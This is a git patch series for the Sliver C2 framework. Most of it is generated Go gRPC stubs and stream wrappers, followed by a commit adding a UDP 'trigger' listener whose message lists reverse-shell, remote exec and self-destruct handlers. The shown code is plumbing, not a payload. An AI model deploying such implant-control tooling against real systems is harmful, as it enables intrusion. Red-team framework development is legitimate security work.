*sliverpb.CurrentTokenOwnerReq) (*sliverpb.CurrentTokenOwner, error) { - return nil, status.Error(codes.Unimplemented, "method CurrentTokenOwner not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CurrentTokenOwner not implemented") } func (UnimplementedSliverRPCServer) Services(context.Context, *sliverpb.ServicesReq) (*sliverpb.Services, error) { - return nil, status.Error(codes.Unimplemented, "method Services not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Services not implemented") } func (UnimplementedSliverRPCServer) ServiceDetail(context.Context, *sliverpb.ServiceDetailReq) (*sliverpb.ServiceDetail, error) { - return nil, status.Error(codes.Unimplemented, "method ServiceDetail not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ServiceDetail not implemented") } func (UnimplementedSliverRPCServer) StartServiceByName(context.Context, *sliverpb.StartServiceByNameReq) (*sliverpb.ServiceInfo, error) { - return nil, status.Error(codes.Unimplemented, "method StartServiceByName not implemented") + return nil, status.Errorf(codes.Unimplemented, "method StartServiceByName not implemented") } func (UnimplementedSliverRPCServer) PivotStartListener(context.Context, *sliverpb.PivotStartListenerReq) (*sliverpb.PivotListener, error) { - return nil, status.Error(codes.Unimplemented, "method PivotStartListener not implemented") + return nil, status.Errorf(codes.Unimplemented, "method PivotStartListener not implemented") } func (UnimplementedSliverRPCServer) PivotStopListener(context.Context, *sliverpb.PivotStopListenerReq) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method PivotStopListener not implemented") + return nil, status.Errorf(codes.Unimplemented, "method PivotStopListener not implemented") } func (UnimplementedSliverRPCServer) PivotSessionListeners(context.Context, *sliverpb.PivotListenersReq) (*sliverpb.PivotListeners, error) { - return nil, status.Error(codes.Unimplemented, "method PivotSessionListeners not implemented") + return nil, status.Errorf(codes.Unimplemented, "method PivotSessionListeners not implemented") } func (UnimplementedSliverRPCServer) PivotGraph(context.Context, *commonpb.Empty) (*clientpb.PivotGraph, error) { - return nil, status.Error(codes.Unimplemented, "method PivotGraph not implemented") + return nil, status.Errorf(codes.Unimplemented, "method PivotGraph not implemented") } func (UnimplementedSliverRPCServer) StartService(context.Context, *sliverpb.StartServiceReq) (*sliverpb.ServiceInfo, error) { - return nil, status.Error(codes.Unimplemented, "method StartService not implemented") + return nil, status.Errorf(codes.Unimplemented, "method StartService not implemented") } func (UnimplementedSliverRPCServer) StopService(context.Context, *sliverpb.StopServiceReq) (*sliverpb.ServiceInfo, error) { - return nil, status.Error(codes.Unimplemented, "method StopService not implemented") + return nil, status.Errorf(codes.Unimplemented, "method StopService not implemented") } func (UnimplementedSliverRPCServer) RemoveService(context.Context, *sliverpb.RemoveServiceReq) (*sliverpb.ServiceInfo, error) { - return nil, status.Error(codes.Unimplemented, "method RemoveService not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RemoveService not implemented") } func (UnimplementedSliverRPCServer) MakeToken(context.Context, *sliverpb.MakeTokenReq) (*sliverpb.MakeToken, error) { - return nil, status.Error(codes.Unimplemented, "method MakeToken not implemented") + return nil, status.Errorf(codes.Unimplemented, "method MakeToken not implemented") } func (UnimplementedSliverRPCServer) GetEnv(context.Context, *sliverpb.EnvReq) (*sliverpb.EnvInfo, error) { - return nil, status.Error(codes.Unimplemented, "method GetEnv not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetEnv not implemented") } func (UnimplementedSliverRPCServer) SetEnv(context.Context, *sliverpb.SetEnvReq) (*sliverpb.SetEnv, error) { - return nil, status.Error(codes.Unimplemented, "method SetEnv not implemented") + return nil, status.Errorf(codes.Unimplemented, "method SetEnv not implemented") } func (UnimplementedSliverRPCServer) UnsetEnv(context.Context, *sliverpb.UnsetEnvReq) (*sliverpb.UnsetEnv, error) { - return nil, status.Error(codes.Unimplemented, "method UnsetEnv not implemented") + return nil, status.Errorf(codes.Unimplemented, "method UnsetEnv not implemented") } func (UnimplementedSliverRPCServer) Backdoor(context.Context, *clientpb.BackdoorReq) (*clientpb.Backdoor, error) { - return nil, status.Error(codes.Unimplemented, "method Backdoor not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Backdoor not implemented") } func (UnimplementedSliverRPCServer) RegistryRead(context.Context, *sliverpb.RegistryReadReq) (*sliverpb.RegistryRead, error) { - return nil, status.Error(codes.Unimplemented, "method RegistryRead not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RegistryRead not implemented") } func (UnimplementedSliverRPCServer) RegistryWrite(context.Context, *sliverpb.RegistryWriteReq) (*sliverpb.RegistryWrite, error) { - return nil, status.Error(codes.Unimplemented, "method RegistryWrite not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RegistryWrite not implemented") } func (UnimplementedSliverRPCServer) RegistryCreateKey(context.Context, *sliverpb.RegistryCreateKeyReq) (*sliverpb.RegistryCreateKey, error) { - return nil, status.Error(codes.Unimplemented, "method RegistryCreateKey not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RegistryCreateKey not implemented") } func (UnimplementedSliverRPCServer) RegistryDeleteKey(context.Context, *sliverpb.RegistryDeleteKeyReq) (*sliverpb.RegistryDeleteKey, error) { - return nil, status.Error(codes.Unimplemented, "method RegistryDeleteKey not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RegistryDeleteKey not implemented") } func (UnimplementedSliverRPCServer) RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error) { - return nil, status.Error(codes.Unimplemented, "method RegistryListSubKeys not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RegistryListSubKeys not implemented") } func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error) { - return nil, status.Error(codes.Unimplemented, "method RegistryListValues not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RegistryListValues not implemented") } func (UnimplementedSliverRPCServer) RegistryReadHive(context.Context, *sliverpb.RegistryReadHiveReq) (*sliverpb.RegistryReadHive, error) { - return nil, status.Error(codes.Unimplemented, "method RegistryReadHive not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RegistryReadHive not implemented") } func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) { - return nil, status.Error(codes.Unimplemented, "method RunSSHCommand not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented") } func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error) { - return nil, status.Error(codes.Unimplemented, "method HijackDLL not implemented") + return nil, status.Errorf(codes.Unimplemented, "method HijackDLL not implemented") } func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) { - return nil, status.Error(codes.Unimplemented, "method GetPrivs not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented") } func (UnimplementedSliverRPCServer) StartRportFwdListener(context.Context, *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) { - return nil, status.Error(codes.Unimplemented, "method StartRportFwdListener not implemented") + return nil, status.Errorf(codes.Unimplemented, "method StartRportFwdListener not implemented") } func (UnimplementedSliverRPCServer) GetRportFwdListeners(context.Context, *sliverpb.RportFwdListenersReq) (*sliverpb.RportFwdListeners, error) { - return nil, status.Error(codes.Unimplemented, "method GetRportFwdListeners not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetRportFwdListeners not implemented") } func (UnimplementedSliverRPCServer) StopRportFwdListener(context.Context, *sliverpb.RportFwdStopListenerReq) (*sliverpb.RportFwdListener, error) { - return nil, status.Error(codes.Unimplemented, "method StopRportFwdListener not implemented") + return nil, status.Errorf(codes.Unimplemented, "method StopRportFwdListener not implemented") } func (UnimplementedSliverRPCServer) OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error) { - return nil, status.Error(codes.Unimplemented, "method OpenSession not implemented") + return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented") } func (UnimplementedSliverRPCServer) CloseSession(context.Context, *sliverpb.CloseSession) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method CloseSession not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CloseSession not implemented") } func (UnimplementedSliverRPCServer) RegisterExtension(context.Context, *sliverpb.RegisterExtensionReq) (*sliverpb.RegisterExtension, error) { - return nil, status.Error(codes.Unimplemented, "method RegisterExtension not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RegisterExtension not implemented") } func (UnimplementedSliverRPCServer) CallExtension(context.Context, *sliverpb.CallExtensionReq) (*sliverpb.CallExtension, error) { - return nil, status.Error(codes.Unimplemented, "method CallExtension not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CallExtension not implemented") } func (UnimplementedSliverRPCServer) ListExtensions(context.Context, *sliverpb.ListExtensionsReq) (*sliverpb.ListExtensions, error) { - return nil, status.Error(codes.Unimplemented, "method ListExtensions not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ListExtensions not implemented") } func (UnimplementedSliverRPCServer) RegisterWasmExtension(context.Context, *sliverpb.RegisterWasmExtensionReq) (*sliverpb.RegisterWasmExtension, error) { - return nil, status.Error(codes.Unimplemented, "method RegisterWasmExtension not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RegisterWasmExtension not implemented") } func (UnimplementedSliverRPCServer) ListWasmExtensions(context.Context, *sliverpb.ListWasmExtensionsReq) (*sliverpb.ListWasmExtensions, error) { - return nil, status.Error(codes.Unimplemented, "method ListWasmExtensions not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ListWasmExtensions not implemented") } func (UnimplementedSliverRPCServer) ExecWasmExtension(context.Context, *sliverpb.ExecWasmExtensionReq) (*sliverpb.ExecWasmExtension, error) { - return nil, status.Error(codes.Unimplemented, "method ExecWasmExtension not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ExecWasmExtension not implemented") } func (UnimplementedSliverRPCServer) WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error) { - return nil, status.Error(codes.Unimplemented, "method WGStartPortForward not implemented") + return nil, status.Errorf(codes.Unimplemented, "method WGStartPortForward not implemented") } func (UnimplementedSliverRPCServer) WGStopPortForward(context.Context, *sliverpb.WGPortForwardStopReq) (*sliverpb.WGPortForward, error) { - return nil, status.Error(codes.Unimplemented, "method WGStopPortForward not implemented") + return nil, status.Errorf(codes.Unimplemented, "method WGStopPortForward not implemented") } func (UnimplementedSliverRPCServer) WGStartSocks(context.Context, *sliverpb.WGSocksStartReq) (*sliverpb.WGSocks, error) { - return nil, status.Error(codes.Unimplemented, "method WGStartSocks not implemented") + return nil, status.Errorf(codes.Unimplemented, "method WGStartSocks not implemented") } func (UnimplementedSliverRPCServer) WGStopSocks(context.Context, *sliverpb.WGSocksStopReq) (*sliverpb.WGSocks, error) { - return nil, status.Error(codes.Unimplemented, "method WGStopSocks not implemented") + return nil, status.Errorf(codes.Unimplemented, "method WGStopSocks not implemented") } func (UnimplementedSliverRPCServer) WGListForwarders(context.Context, *sliverpb.WGTCPForwardersReq) (*sliverpb.WGTCPForwarders, error) { - return nil, status.Error(codes.Unimplemented, "method WGListForwarders not implemented") + return nil, status.Errorf(codes.Unimplemented, "method WGListForwarders not implemented") } func (UnimplementedSliverRPCServer) WGListSocksServers(context.Context, *sliverpb.WGSocksServersReq) (*sliverpb.WGSocksServers, error) { - return nil, status.Error(codes.Unimplemented, "method WGListSocksServers not implemented") + return nil, status.Errorf(codes.Unimplemented, "method WGListSocksServers not implemented") } func (UnimplementedSliverRPCServer) Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error) { - return nil, status.Error(codes.Unimplemented, "method Shell not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Shell not implemented") } func (UnimplementedSliverRPCServer) ShellResize(context.Context, *sliverpb.ShellResizeReq) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method ShellResize not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ShellResize not implemented") } func (UnimplementedSliverRPCServer) Portfwd(context.Context, *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error) { - return nil, status.Error(codes.Unimplemented, "method Portfwd not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Portfwd not implemented") } func (UnimplementedSliverRPCServer) CreateSocks(context.Context, *sliverpb.Socks) (*sliverpb.Socks, error) { - return nil, status.Error(codes.Unimplemented, "method CreateSocks not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CreateSocks not implemented") } func (UnimplementedSliverRPCServer) CloseSocks(context.Context, *sliverpb.Socks) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method CloseSocks not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CloseSocks not implemented") } -func (UnimplementedSliverRPCServer) SocksProxy(grpc.BidiStreamingServer[sliverpb.SocksData, sliverpb.SocksData]) error { - return status.Error(codes.Unimplemented, "method SocksProxy not implemented") +func (UnimplementedSliverRPCServer) SocksProxy(SliverRPC_SocksProxyServer) error { + return status.Errorf(codes.Unimplemented, "method SocksProxy not implemented") +} +func (UnimplementedSliverRPCServer) StartTriggerListener(context.Context, *clientpb.TriggerListenerReq) (*clientpb.ListenerJob, error) { + return nil, status.Errorf(codes.Unimplemented, "method StartTriggerListener not implemented") +} +func (UnimplementedSliverRPCServer) TriggerIntents(context.Context, *clientpb.TriggerIntentsReq) (*clientpb.TriggerIntents, error) { + return nil, status.Errorf(codes.Unimplemented, "method TriggerIntents not implemented") +} +func (UnimplementedSliverRPCServer) TriggerDispatchTask(context.Context, *clientpb.TriggerDispatchTaskReq) (*commonpb.Empty, error) { + return nil, status.Errorf(codes.Unimplemented, "method TriggerDispatchTask not implemented") +} +func (UnimplementedSliverRPCServer) TriggerFire(context.Context, *clientpb.TriggerFireReq) (*clientpb.TriggerFireResp, error) { + return nil, status.Errorf(codes.Unimplemented, "method TriggerFire not implemented") } func (UnimplementedSliverRPCServer) CreateTunnel(context.Context, *sliverpb.Tunnel) (*sliverpb.Tunnel, error) { - return nil, status.Error(codes.Unimplemented, "method CreateTunnel not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CreateTunnel not implemented") } func (UnimplementedSliverRPCServer) CloseTunnel(context.Context, *sliverpb.Tunnel) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method CloseTunnel not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CloseTunnel not implemented") } -func (UnimplementedSliverRPCServer) TunnelData(grpc.BidiStreamingServer[sliverpb.TunnelData, sliverpb.TunnelData]) error { - return status.Error(codes.Unimplemented, "method TunnelData not implemented") +func (UnimplementedSliverRPCServer) TunnelData(SliverRPC_TunnelDataServer) error { + return status.Errorf(codes.Unimplemented, "method TunnelData not implemented") } -func (UnimplementedSliverRPCServer) Events(*commonpb.Empty, grpc.ServerStreamingServer[clientpb.Event]) error { - return status.Error(codes.Unimplemented, "method Events not implemented") +func (UnimplementedSliverRPCServer) Events(*commonpb.Empty, SliverRPC_EventsServer) error { + return status.Errorf(codes.Unimplemented, "method Events not implemented") } func (UnimplementedSliverRPCServer) mustEmbedUnimplementedSliverRPCServer() {} -func (UnimplementedSliverRPCServer) testEmbeddedByValue() {} // UnsafeSliverRPCServer may be embedded to opt out of forward compatibility for this service. // Use of this interface is not recommended, as added methods to SliverRPCServer will @@ -3249,13 +3413,6 @@ type UnsafeSliverRPCServer interface { } func RegisterSliverRPCServer(s grpc.ServiceRegistrar, srv SliverRPCServer) { - // If the following call panics, it indicates UnimplementedSliverRPCServer was - // embedded by pointer and is nil. This will cause panics if an - // unimplemented method is ever invoked, so we test this at initialization - // time to prevent it from happening at runtime later due to I/O. - if t, ok := srv.(interface{ testEmbeddedByValue() }); ok { - t.testEmbeddedByValue() - } s.RegisterService(&SliverRPC_ServiceDesc, srv) } @@ -3278,11 +3435,30 @@ func _SliverRPC_GetVersion_Handler(srv interface{}, ctx context.Context, dec fun } func _SliverRPC_ClientLog_Handler(srv interface{}, stream grpc.ServerStream) error { - return srv.(SliverRPCServer).ClientLog(&grpc.GenericServerStream[clientpb.ClientLogData, commonpb.Empty]{ServerStream: stream}) + return srv.(SliverRPCServer).ClientLog(&sliverRPCClientLogServer{ServerStream: stream}) +} + +type SliverRPC_ClientLogServer interface { + SendAndClose(*commonpb.Empty) error + Recv() (*clientpb.ClientLogData, error) + grpc.ServerStream +} + +type sliverRPCClientLogServer struct { + grpc.ServerStream } -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type SliverRPC_ClientLogServer = grpc.ClientStreamingServer[clientpb.ClientLogData, commonpb.Empty] +func (x *sliverRPCClientLogServer) SendAndClose(m *commonpb.Empty) error { + return x.ServerStream.SendMsg(m) +} + +func (x *sliverRPCClientLogServer) Recv() (*clientpb.ClientLogData, error) { + m := new(clientpb.ClientLogData) + if err := x.ServerStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} func _SliverRPC_GetOperators_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(commonpb.Empty) @@ -4369,11 +4545,21 @@ func _SliverRPC_BuilderRegister_Handler(srv interface{}, stream grpc.ServerStrea if err := stream.RecvMsg(m); err != nil { return err } - return srv.(SliverRPCServer).BuilderRegister(m, &grpc.GenericServerStream[clientpb.Builder, clientpb.Event]{ServerStream: stream}) + return srv.(SliverRPCServer).BuilderRegister(m, &sliverRPCBuilderRegisterServer{ServerStream: stream}) +} + +type SliverRPC_BuilderRegisterServer interface { + Send(*clientpb.Event) error + grpc.ServerStream +} + +type sliverRPCBuilderRegisterServer struct { + grpc.ServerStream } -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type SliverRPC_BuilderRegisterServer = grpc.ServerStreamingServer[clientpb.Event] +func (x *sliverRPCBuilderRegisterServer) Send(m *clientpb.Event) error { + return x.ServerStream.SendMsg(m) +} func _SliverRPC_BuilderTrigger_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(clientpb.Event) @@ -4470,11 +4656,21 @@ func _SliverRPC_CrackstationRegister_Handler(srv interface{}, stream grpc.Server if err := stream.RecvMsg(m); err != nil { return err } - return srv.(SliverRPCServer).CrackstationRegister(m, &grpc.GenericServerStream[clientpb.Crackstation, clientpb.Event]{ServerStream: stream}) + return srv.(SliverRPCServer).CrackstationRegister(m, &sliverRPCCrackstationRegisterServer{ServerStream: stream}) +} + +type SliverRPC_CrackstationRegisterServer interface { + Send(*clientpb.Event) error + grpc.ServerStream } -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type SliverRPC_CrackstationRegisterServer = grpc.ServerStreamingServer[clientpb.Event] +type sliverRPCCrackstationRegisterServer struct { + grpc.ServerStream +} + +func (x *sliverRPCCrackstationRegisterServer) Send(m *clientpb.Event) error { + return x.ServerStream.SendMsg(m) +} func _SliverRPC_CrackstationTrigger_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(clientpb.Event) @@ -6619,11 +6815,102 @@ func _SliverRPC_CloseSocks_Handler(srv interface{}, ctx context.Context, dec fun } func _SliverRPC_SocksProxy_Handler(srv interface{}, stream grpc.ServerStream) error { - return srv.(SliverRPCServer).SocksProxy(&grpc.GenericServerStream[sliverpb.SocksData, sliverpb.SocksData]{ServerStream: stream}) + return srv.(SliverRPCServer).SocksProxy(&sliverRPCSocksProxyServer{ServerStream: stream}) +} + +type SliverRPC_SocksProxyServer interface { + Send(*sliverpb.SocksData) error + Recv() (*sliverpb.SocksData, error) + grpc.ServerStream +} + +type sliverRPCSocksProxyServer struct { + grpc.ServerStream +} + +func (x *sliverRPCSocksProxyServer) Send(m *sliverpb.SocksData) error { + return x.ServerStream.SendMsg(m) +} + +func (x *sliverRPCSocksProxyServer) Recv() (*sliverpb.SocksData, error) { + m := new(sliverpb.SocksData) + if err := x.ServerStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} + +func _SliverRPC_StartTriggerListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(clientpb.TriggerListenerReq) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).StartTriggerListener(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_StartTriggerListener_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).StartTriggerListener(ctx, req.(*clientpb.TriggerListenerReq)) + } + return interceptor(ctx, in, info, handler) } -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type SliverRPC_SocksProxyServer = grpc.BidiStreamingServer[sliverpb.SocksData, sliverpb.SocksData] +func _SliverRPC_TriggerIntents_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(clientpb.TriggerIntentsReq) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).TriggerIntents(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_TriggerIntents_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).TriggerIntents(ctx, req.(*clientpb.TriggerIntentsReq)) + } + return interceptor(ctx, in, info, handler) +} + +func _SliverRPC_TriggerDispatchTask_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(clientpb.TriggerDispatchTaskReq) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).TriggerDispatchTask(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_TriggerDispatchTask_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).TriggerDispatchTask(ctx, req.(*clientpb.TriggerDispatchTaskReq)) + } + return interceptor(ctx, in, info, handler) +} + +func _SliverRPC_TriggerFire_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(clientpb.TriggerFireReq) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).TriggerFire(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_TriggerFire_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).TriggerFire(ctx, req.(*clientpb.TriggerFireReq)) + } + return interceptor(ctx, in, info, handler) +} func _SliverRPC_CreateTunnel_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(sliverpb.Tunnel) @@ -6662,22 +6949,51 @@ func _SliverRPC_CloseTunnel_Handler(srv interface{}, ctx context.Context, dec fu } func _SliverRPC_TunnelData_Handler(srv interface{}, stream grpc.ServerStream) error { - return srv.(SliverRPCServer).TunnelData(&grpc.GenericServerStream[sliverpb.TunnelData, sliverpb.TunnelData]{ServerStream: stream}) + return srv.(SliverRPCServer).TunnelData(&sliverRPCTunnelDataServer{ServerStream: stream}) +} + +type SliverRPC_TunnelDataServer interface { + Send(*sliverpb.TunnelData) error + Recv() (*sliverpb.TunnelData, error) + grpc.ServerStream +} + +type sliverRPCTunnelDataServer struct { + grpc.ServerStream +} + +func (x *sliverRPCTunnelDataServer) Send(m *sliverpb.TunnelData) error { + return x.ServerStream.SendMsg(m) } -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type SliverRPC_TunnelDataServer = grpc.BidiStreamingServer[sliverpb.TunnelData, sliverpb.TunnelData] +func (x *sliverRPCTunnelDataServer) Recv() (*sliverpb.TunnelData, error) { + m := new(sliverpb.TunnelData) + if err := x.ServerStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} func _SliverRPC_Events_Handler(srv interface{}, stream grpc.ServerStream) error { m := new(commonpb.Empty) if err := stream.RecvMsg(m); err != nil { return err } - return srv.(SliverRPCServer).Events(m, &grpc.GenericServerStream[commonpb.Empty, clientpb.Event]{ServerStream: stream}) + return srv.(SliverRPCServer).Events(m, &sliverRPCEventsServer{ServerStream: stream}) } -// This type alias is provided for backwards compatibility with existing code that references the prior non-generic stream type by name. -type SliverRPC_EventsServer = grpc.ServerStreamingServer[clientpb.Event] +type SliverRPC_EventsServer interface { + Send(*clientpb.Event) error + grpc.ServerStream +} + +type sliverRPCEventsServer struct { + grpc.ServerStream +} + +func (x *sliverRPCEventsServer) Send(m *clientpb.Event) error { + return x.ServerStream.SendMsg(m) +} // SliverRPC_ServiceDesc is the grpc.ServiceDesc for SliverRPC service. // It's only intended for direct use with grpc.RegisterService, @@ -7426,6 +7742,22 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ MethodName: "CloseSocks", Handler: _SliverRPC_CloseSocks_Handler, }, + { + MethodName: "StartTriggerListener", + Handler: _SliverRPC_StartTriggerListener_Handler, + }, + { + MethodName: "TriggerIntents", + Handler: _SliverRPC_TriggerIntents_Handler, + }, + { + MethodName: "TriggerDispatchTask", + Handler: _SliverRPC_TriggerDispatchTask_Handler, + }, + { + MethodName: "TriggerFire", + Handler: _SliverRPC_TriggerFire_Handler, + }, { MethodName: "CreateTunnel", Handler: _SliverRPC_CreateTunnel_Handler, From e44971fc05a186c1121908fbf6fd2239c54325e2 Mon Sep 17 00:00:00 2001 From: 0x90pkt <91637660+0x90pkt@users.noreply.github.com> Date: Mon, 1 Jun 2026 23:53:00 -0400 Subject: [PATCH 3/7] feat(server): trigger C2 listener, handlers, and TTL reaper Server-side trigger C2 implementation: - TriggerListener: UDP listener with configurable task bindings, HMAC validation, replay protection, rate limiting, audit logging - Handlers: wake-session, stop-job, exec, reverse-shell with concurrency caps and context deadlines - DB models: TriggerListener persistence for daemon restore, ImplantConfig trigger-wake/TTL field round-trip, TriggerActivity for tracking implant last-seen state - TTL reaper: background sweep fires self-destruct at expired trigger implants as server-side fallback (1hr cooldown) - RPC: TriggerFire (bidirectional exec with response), TriggerDispatchTask, TriggerListener start/stop - Daemon restore: trigger listeners survive server restart --- server/c2/trigger.go | 536 ++++++++++++++++++ server/c2/trigger/handlers/doc.go | 48 ++ server/c2/trigger/handlers/reverseshell.go | 269 +++++++++ .../c2/trigger/handlers/reverseshell_test.go | 179 ++++++ server/c2/trigger/handlers/stopjob.go | 94 +++ server/c2/trigger/handlers/stopjob_test.go | 131 +++++ server/c2/trigger/handlers/wakebeacon.go | 115 ++++ server/c2/trigger/handlers/wakebeacon_test.go | 183 ++++++ server/c2/trigger_smoke_test.go | 141 +++++ server/c2/trigger_test.go | 185 ++++++ server/c2/trigger_ttl_reaper.go | 200 +++++++ server/c2/trigger_ttl_reaper_test.go | 71 +++ server/cli/daemon.go | 19 + server/db/helpers.go | 28 + server/db/models/implant.go | 52 ++ server/db/models/implant_triggerwake_test.go | 141 +++++ server/db/models/jobs.go | 74 ++- server/db/models/jobs_trigger_test.go | 203 +++++++ server/db/models/trigger_activity.go | 49 ++ server/db/sql.go | 2 + server/db/trigger_activity.go | 111 ++++ server/rpc/rpc-generate.go | 14 + server/rpc/rpc-trigger.go | 189 ++++++ 23 files changed, 3026 insertions(+), 8 deletions(-) create mode 100644 server/c2/trigger.go create mode 100644 server/c2/trigger/handlers/doc.go create mode 100644 server/c2/trigger/handlers/reverseshell.go create mode 100644 server/c2/trigger/handlers/reverseshell_test.go create mode 100644 server/c2/trigger/handlers/stopjob.go create mode 100644 server/c2/trigger/handlers/stopjob_test.go create mode 100644 server/c2/trigger/handlers/wakebeacon.go create mode 100644 server/c2/trigger/handlers/wakebeacon_test.go create mode 100644 server/c2/trigger_smoke_test.go create mode 100644 server/c2/trigger_test.go create mode 100644 server/c2/trigger_ttl_reaper.go create mode 100644 server/c2/trigger_ttl_reaper_test.go create mode 100644 server/db/models/implant_triggerwake_test.go create mode 100644 server/db/models/jobs_trigger_test.go create mode 100644 server/db/models/trigger_activity.go create mode 100644 server/db/trigger_activity.go create mode 100644 server/rpc/rpc-trigger.go diff --git a/server/c2/trigger.go b/server/c2/trigger.go new file mode 100644 index 0000000000..2c93550940 --- /dev/null +++ b/server/c2/trigger.go @@ -0,0 +1,536 @@ +package c2 + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + ------------------------------------------------------------------------ + + StartTriggerListenerJob is the Sliver job-factory for the + authenticated UDP trigger listener. It bridges a clientpb + TriggerListenerReq into a runtime listener instance from + github.com/0x90pkt/trigger/pkg/listener and registers the operator- + supplied task bindings against the Sliver-side handlers in + server/c2/trigger/handlers. + + The factory follows Sliver's existing per-listener pattern + (StartMTLSListenerJob, StartWGListenerJob, etc.): NextJobID before + core.Jobs.Add, a watcher goroutine that listens on JobCtrl, no + manual EventBroker publishes (core.Jobs already publishes + JobStartedEvent / JobStoppedEvent internally). +*/ + +import ( + "context" + "errors" + "fmt" + "net" + "os" + "sync" + "time" + + stdintents "github.com/0x90pkt/trigger/pkg/intents" + stdhandlers 